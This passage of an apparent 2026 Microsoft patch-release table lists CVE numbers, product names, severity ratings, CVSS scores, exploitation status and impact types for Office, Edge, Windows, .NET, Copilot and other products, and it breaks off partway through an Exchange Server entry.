2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege 